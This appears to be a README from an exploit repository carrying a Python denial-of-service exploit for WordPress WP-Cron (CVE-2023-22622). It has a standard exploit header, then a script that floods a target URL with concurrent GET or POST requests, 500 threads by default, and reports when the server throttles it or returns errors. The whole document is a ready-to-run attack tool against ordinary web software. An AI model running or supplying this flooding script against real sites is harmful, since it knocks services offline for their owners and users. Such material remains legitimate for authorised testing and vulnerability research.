README.md
Rendering markdown...
# Exploit Title: DoS WP-Cron - CVE-2023-22622
# Date: 07/29/2024
# Exploit Author: Michael Fry
# Vendor Homepage: https://wordpress.org/
# Software Link: https://wordpress.org/download/
# Version: Up to (including) 6.6.1
# Tested on: Kali Linux
# CVE : CVE-2023-22622
import argparse
import requests
import threading
from concurrent.futures import ThreadPoolExecutor
import time
# Global variables
request_counter = 0
printed_msgs = []
lock = threading.Lock()
def print_msg(msg):
"""Print message once."""
with lock:
if msg not in printed_msgs:
print(f"\n{msg} after {request_counter} requests")
printed_msgs.append(msg)
def handle_status_codes(status_code):
"""Handle HTTP status codes."""
global request_counter
with lock:
request_counter += 1
print(f"\r{request_counter} requests have been sent", end="")
if status_code == 429:
print_msg("You have been throttled")
elif status_code == 500:
print_msg("Status code 500 received")
def send_request(method, url, payload=None):
"""Send HTTP request and handle response."""
try:
if method == "GET":
response = requests.get(url)
elif method == "POST":
response = requests.post(url, data=payload)
else:
print("Invalid method specified.")
return
handle_status_codes(response.status_code)
except Exception as e:
print(f"\nAn error occurred: {e}")
def main():
parser = argparse.ArgumentParser(description="HTTP Requester")
parser.add_argument("-m", "--method", choices=['GET', 'POST'], required=True, help="Specify request method")
parser.add_argument("-u", "--url", required=True, help="Specify the URL")
parser.add_argument("-d", "--data", default=None, help="Data payload for POST request")
parser.add_argument("-t", "--threads", type=int, default=500, help="Number of threads to be used")
args = parser.parse_args()
start_time = time.time()
with ThreadPoolExecutor(max_workers=args.threads) as executor:
for _ in range(args.threads):
executor.submit(send_request, args.method, args.url, args.data)
print(f"\nFinished sending requests. Total time: {time.time() - start_time:.2f} seconds")
if __name__ == "__main__":
main()